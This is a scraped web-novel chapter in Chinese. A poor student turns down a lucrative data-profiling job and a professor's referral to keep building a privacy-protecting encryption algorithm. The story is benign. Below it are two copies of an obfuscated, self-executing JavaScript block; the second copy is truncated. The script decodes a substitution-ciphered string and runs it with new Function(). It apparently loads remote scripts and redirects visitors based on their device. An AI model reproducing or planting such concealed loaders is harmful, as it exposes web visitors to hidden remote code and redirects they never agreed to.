首页
前传第10章 少年龙胆草,迷
返回
关灯 护眼:关 字号:小

前传第10章 少年龙胆草,迷茫的技术理想

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    前传第10章少年龙胆草,迷茫的技术理想(第1/2页)
    江城深秋的暮色来得格外早,傍晚五点刚过,铅灰色的云层便压低了整片天际,细碎冷雨裹挟着秋风,噼里啪啦敲在理工实验楼的塑钢玻璃窗上。
    白日里喧闹沸腾的校园渐渐归于沉寂,奔赴大厂宣讲的应届学子早已四散离场,或是赶回宿舍复盘面试经验,或是结伴在外聚餐庆祝拿到面试邀约,唯有顶层三号算法实验室,依旧亮着整排惨白的日光灯管,在连绵阴雨里,像一方隔绝了俗世喧嚣的小小孤岛。
    龙胆草拢了拢身上洗得起球的藏青色外套领口,窗外的寒气顺着窗缝钻进来,顺着脖颈往衣襟里钻,他下意识搓了搓微凉的手心,目光从电脑屏幕上密密麻麻的加密代码挪开,望向楼下被雨水打湿的梧桐行道。
    湿漉漉的柏油路面散落满地枯黄落叶,被来往车辆碾成细碎的泥渍,偶尔有三三两两撑伞的学生路过,闲谈的内容绕不开星瀚互联的秋招、诱人的薪资待遇、落户一线城市的机会,那些被资本精心包装过的繁华前路,成了当下江大应届毕业生最热衷的话题。
    刚刚结束宣讲会的室友三人,拎着湿漉漉的帆布包推门走进实验室,一身雨水混着风尘,脸上还带着白天听宣讲后的亢奋与憧憬。走在最前面的张磊把折叠伞靠在墙角,随手抹了一把额前雨水,视线落在龙胆草面前一成不变的代码界面上,无奈地叹了口气。
    “龙草,我们三个全都投递了星瀚互联的算法岗简历,下午现场初面已经结束,HR当场给了两个人复试邀约,剩下我等通知。”
    张磊拉过旁边闲置的木椅坐下,屁股还没坐稳,便忍不住继续劝,“现在全专业谁不清楚,星瀚是国内数据赛道的头部龙头,旗下用户体量破亿,算法岗资源倾斜力度极大,咱们这个专业,能挤进去等于半只脚踏进中产,你专业课常年稳居全系榜首,国家级算法竞赛银奖在手,只要愿意去,复试乃至录用基本稳了。”
    另一名室友李伟擦了擦眼镜片上的水雾,把怀里抱着的企业宣传册摊在桌面,印着高薪福利的彩页映入眼帘:“你自己看看待遇,应届硕士保底一万二底薪,月度绩效另算,入职半年缴纳补充公积金,总部落户江城高新园区,租房补贴每月两千,咱们出身普通家庭,不靠家里帮衬,单凭一份工作,三五年攒下首付根本不是难事。反观你天天钻研的隐私加密算法,既没有横向项目经费扶持,市面上也没有成熟落地的商业化场景,投入再多时间,短期内看不到半点收益。”
    最后一名室友赵鹏坐在一旁,一边擦拭湿透的球鞋,一边附和:“我们不是非要逼你跟风择业,只是心疼你的天赋被白白浪费。现在整个互联网行业都在做用户画像、精准数据抓取,资本扎堆涌入,风口之上遍地机遇,隐私防护属于投入高、回报周期漫长的冷门细分,行业资本避之不及,毕业之后要么转行,要么窝在不知名的小公司拿着微薄薪资,何苦放着眼前的康庄大道不走,偏要钻进死胡同?”
    三人轮番劝说,话语恳切,站在世俗的择业逻辑里,每一句都句句在理。放在江大计算机系绝大多数学生身上,手握星瀚互联的入场资格,早已迫不及待收拾简历奔赴面试,没人会像龙胆草这样,闭门守在冷清的实验室,日复一日打磨无人看好的轻量化加密算法。
    龙胆草抬手端起桌边已经凉透的菊花茶,玻璃杯壁凝着一圈细密的水珠,入口微涩的苦味顺着喉咙滑进腹中。他咬了一口剩下的小半块白面馒头,馒头放了一下午,干硬难咽,就着茶水勉强咽下,眉眼间藏着同龄人少见的疲惫与茫然。
    他今年二十二岁,来自西南偏远山区的贫困村,父母守着一亩三分山地靠种植杂粮勉强糊口,家中还有正在读高二的妹妹,全年学费生活费全靠龙胆草课余做家教、寒暑假进厂打短期零工一点点拼凑。上个月老家打来电话,母亲常年劳累落下的风湿愈发严重,常年需要抓药调理,妹妹的教辅资料、住校伙食费又是一笔固定开销,家里秋收粮食滞销,家里账户的存款寥寥无几,现实的经济重担,沉甸甸压在这个寒门少年肩头。
    只要点头接下星瀚互联的面试邀约,顺利入职之后,第一个月的薪资,就足以结清母亲半年的药费,一次性补齐妹妹下学期所有开支,再也不用挤在江城老旧的老小区,冒着凛凛寒风奔波在各个居民区做家教。
    理智层面,他比谁都清楚,入职头部大厂是当下最优解,是快速改善全家窘迫处境最稳妥的捷径,可心底那道关于技术底线的坎,始终横亘在身前,迈不过去。
    “我明白你们的好意。”龙胆草放下玻璃杯,指尖轻轻点了点电脑屏幕上一行尚未完善的防护代码,语气平缓,没有丝毫争执的戾气,“星瀚的待遇无可挑剔,换做任何一个急需改善家境的应届生,都不会拒绝。只是我这段时间跟着项目调研深挖行业灰色产业链,看得太多普通人因为数据泄露倾家荡产,实在没办法心安理得转头扎进数据抓取、用户画像的赛道。”
    这话落地,三名室友齐齐沉默,片刻之后张磊皱起眉头:“企业合规采集用户数据是行业常态,国家有相关法规约束,哪有你说的那么不堪?个别黑灰产泄露信息,是不法分子钻空子,和正规大厂没有关联。”
    “合规框架摆在明面上,可暗地里的数据流转,从来不在白纸黑字的条款之内。”龙胆草抬眼,眼底沉淀着连日调研积攒下来的沉重,“我上个月兼职辅导的独居张奶奶,一辈子省吃俭用存下八万养老钱,因为社区便民小程序后台不合规数据泄露,个人信息流入诈骗团伙手里,接连被数十轮保健品、理财推销骚扰,最后被骗光全部积蓄,老人坐在小区花坛哭到天黑的模样,我到现在闭眼就能想起。老家近二十位同乡,频繁遭遇网贷催收恶意轰炸、虚假中奖短信骚扰,溯源之后,信息全部来自中小型合作企业违规外流的用户数据库。”
    他接连说起一件件亲眼目睹的真实案例,没有夸大其词,没有刻意渲染悲情,平淡的叙述,却让原本兴致勃勃的三名室友神色渐渐凝重。
    “数据从企业后台流出,经过多层中间商拆分倒卖,最终流向诈骗、催收、黑产机构,普通人没有任何自保能力,出了事维权无门,可靠着倒卖数据的产业链,不少互联网企业、第三方数据服务商赚得盆满钵满。”龙胆草话音顿了顿,“大厂搭建精细化用户画像,依托海量用户隐私实现精准变现,从商业逻辑上无可厚非,可海量用户的隐私安全,成了行业高速发展的牺牲品。我学了四年计算机算法,寒窗苦读不是为了练就一身本事,转头变成收割普通人隐私的工具。”
    李伟沉默片刻,低声开口:“可仅凭你一个在校学生,闭门研发一套隐私防护算法,就能扭转整个行业的乱象吗?理想很丰满,现实骨感,个体的力量在行业大势面前微不足道。”
    这句话精准戳中龙胆草心底最深的迷茫。
    他也清楚自身的渺小,仅凭一己之力,改变不了整个数据行业逐利的大环境,拦不住资本追逐流量与变现的脚步,更没办法彻底斩断盘踞多年的黑灰产链条。他耗费课余所有空闲打磨的轻量化加密算法,没有经费、没有团队、没有落地场景,大概率毕业之后便会被尘封在硬盘文件夹里,沦为一份无人问津的毕业设计。一边是触手可及的安稳人生,一边是虚无缥缈的理想,两种选择反复拉扯,让正值青春的少年陷入长久的自我内耗。
    (本章未完,请点击下一页继续阅读)前传第10章少年龙胆草,迷茫的技术理想(第2/2页)
    就在这时,口袋里的老旧按键手机嗡嗡震动,屏幕亮起,是妹妹龙胆叶发来的短信,短短两行小字,像一块重石砸在龙胆草的心口。
    【哥,爸去镇上卖玉米被雨淋感冒了,买药花了两百多,家里这个月生活费不够了,班主任催缴我的住宿费,爸妈发愁了一整晚。】
    短短一句话,瞬间击溃了他刻意维持的镇定。他指尖悬在手机按键上,反复编辑又删除,想要宽慰妹妹,却连一句“钱我很快凑齐”都说得底气不足。现实的窘迫,从来不会因为一个人的理想主义而手下留情。
    张磊瞥见他凝重的神色,心知短信内容多半和家里开销有关,放缓语气劝说:“你看,家里正是用钱的关头,理想不能当饭治病、不能抵妹妹的学费,先入职大厂稳住收入,等经济宽裕之后,再利用业余时间钻研隐私防护不行吗?”
    道理浅显易懂,也是绝大多数人的折中选择,可龙胆草心里清楚,一旦踏入头部大厂的体系,日复一日被项目KPI、业务需求裹挟,被行业的盈利逻辑同化,久而久之,当初想要守护普通人数据安全的初心,迟早会在日复一日的商业化工作里慢慢消磨殆尽。见过太多怀揣技术理想的从业者,入职数年之后,被资本规则磨平棱角,习惯性向利益妥协。
    几人正闲谈间,实验室房门再次被推开,带过龙胆草专业课的周教授缓步走入,一身熨帖的深灰色西装,手里捏着一份星瀚互联的内推邀请函,目光落在龙胆草身上。
    周教授是学院算法方向的学科带头人,手握不少和市场化数据企业合作的横向项目资源,此前便主动邀约龙胆草加入自己的商用数据画像项目,被龙胆草婉拒之后,仍旧没有放弃拉拢。
    “小草,我特意托朋友拿到星瀚内部直推名额,不用挤海选秋招,直接直通终面。”周教授将邀请函放在桌面,语气带着长辈式的期许,“你的天赋在同届学生里数一数二,窝在实验室研究冷门防护纯属浪费。跟着我做商用项目,毕业之后手握项目履历,加上星瀚的入职背书,未来职业生涯一路坦途。上次你拒绝我的项目邀约,我理解年轻人有自己的想法,但不能和现实作对。”
    周教授坐在椅子上,慢条斯理剖析行业现状:“如今数据就是新石油,抓取、分析、画像变现是时代风口,隐私防护受限于落地成本、法规细则,短时间很难形成规模化商业闭环,五年之内都成不了主流赛道。人活在世,先谋生再谈理想,连温饱都无法保障,空谈技术向善太过虚无。”
    教授的话语字字务实,依托数十年行业从业阅历给出的建议,几乎挑不出任何漏洞,也是业内主流的价值观。
    龙胆草起身,微微躬身行礼,对待悉心教导自己四年的导师,他始终心怀敬重:“周老师,谢谢您费心帮我争取内推机会,这份好意我心领了。项目和大厂offer,我暂时还是没办法接受。”
    “理由还是所谓的数据安全?”周教授眉头微皱,语气多了几分失望,“行业规则如此,不是你一个学生能够扭转的,执拗过头就是钻牛角尖。”
    “我改变不了行业规则,但可以守住自己手里的代码底线。”龙胆草眼神澄澈,即便被现实重担压得满心迷茫,眼底的执拗依旧没有半分动摇,“我没办法亲手编写代码,把普通人的隐私变成企业盈利的商品。或许我一辈子研发的算法都没法落地商用,但至少我走的每一步,都问心无愧。”
    周教授看着少年眼底不曾褪色的赤诚,无奈地摇了摇头,不再继续劝说,留下邀请函便转身离开。实验室再度陷入安静,窗外的冷雨还在持续落下,天色彻底沉入浓稠的黑夜里,整栋实验楼越来越空旷,隔壁房间的灯一盏接一盏熄灭,只剩下这间实验室的灯光,固执地在雨夜之中长明。
    三名室友见劝说无果,也不再多费口舌,收拾好随身物品准备返回宿舍,临走前张磊拍了拍龙胆草的肩膀:“我们不勉强你做选择,只是希望未来某天,你不会因为今天的决定后悔。若是之后改变主意,星瀚的复试还能帮你搭线。”
    房门被轻轻合上,实验室里只剩下龙胆草孤身一人。
    偌大的空间安静得只剩下机箱风扇运转的嗡鸣,窗外雨打枝叶的声响连绵不绝。他重新坐回工位,拿起手机,斟酌许久,给妹妹回了短信:【别担心,生活费我三天之内凑齐,好好读书,照顾好爸妈。】
    发送完毕,他打开手机银行,看着余额里不足八百元的数字,眼底掠过一丝难以掩饰的酸涩。为了凑齐家里的开销,他只能往后多排三份家教,牺牲仅剩不多的课余研发时间。
    短暂的情绪低落过后,龙胆草重新把目光投向电脑屏幕上错落有致的代码字符。一行行代码,是他在迷茫岁月里唯一的精神寄托,是那个虚无缥缈的技术向善理想,落在现实里的具象缩影。他知道前路泥泞坎坷,没有资金加持,没有资源铺路,要在全民追逐风口红利的时代逆势而行,注定要熬过漫长的清贫与质疑,未来或许会屡屡碰壁,甚至一事无成。
    迷茫依旧萦绕在少年心头,他看不清数年之后自己身在何方,不知道耗费心血打磨的“五彩绫镜”雏形算法,有没有真正落地的一天,更不确定仅凭一己初心,能不能在逐利成风的数据行业里守住底线。
    可每当想起被骗光养老钱独自落泪的独居老人,想起被信息泄露搅得不得安宁的老家同乡,想起无数在数据灰色链条里毫无自保之力的普通人,心底那一点微弱的执念,便会重新汇聚成支撑他走下去的力量。
    众生奔赴资本堆砌的繁华,争先恐后扎进时代红利的洪流里,追逐高薪、编制、体面前程,没人愿意停下脚步,看见洪流之下被隐私泄露裹挟的芸芸众生。
    少年龙胆草陷在理想与现实的夹缝里,被生活重担裹挟,被世俗择业观包围,深陷前路未卜的迷茫,却始终舍不得放下手边的代码,舍不得丢掉心里那一份不被世人看好的初心。
    夜色渐深,雨水慢慢变小,零星的月光透过云层缝隙,穿透雨雾落在窗沿,映在屏幕闪烁的代码之上。龙胆草深吸一口气,指尖重新落在键盘上,清脆的敲击声在寂静的实验室缓缓响起。
    前路漫漫,迷雾重重,迷茫常在,但心之所向,素履以往。多年以后搅动整个数据安全行业的五彩绫镜,便在这个秋雨连绵的迷茫夜晚,继续在一个寒门少年的指尖,悄然生根发芽。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD 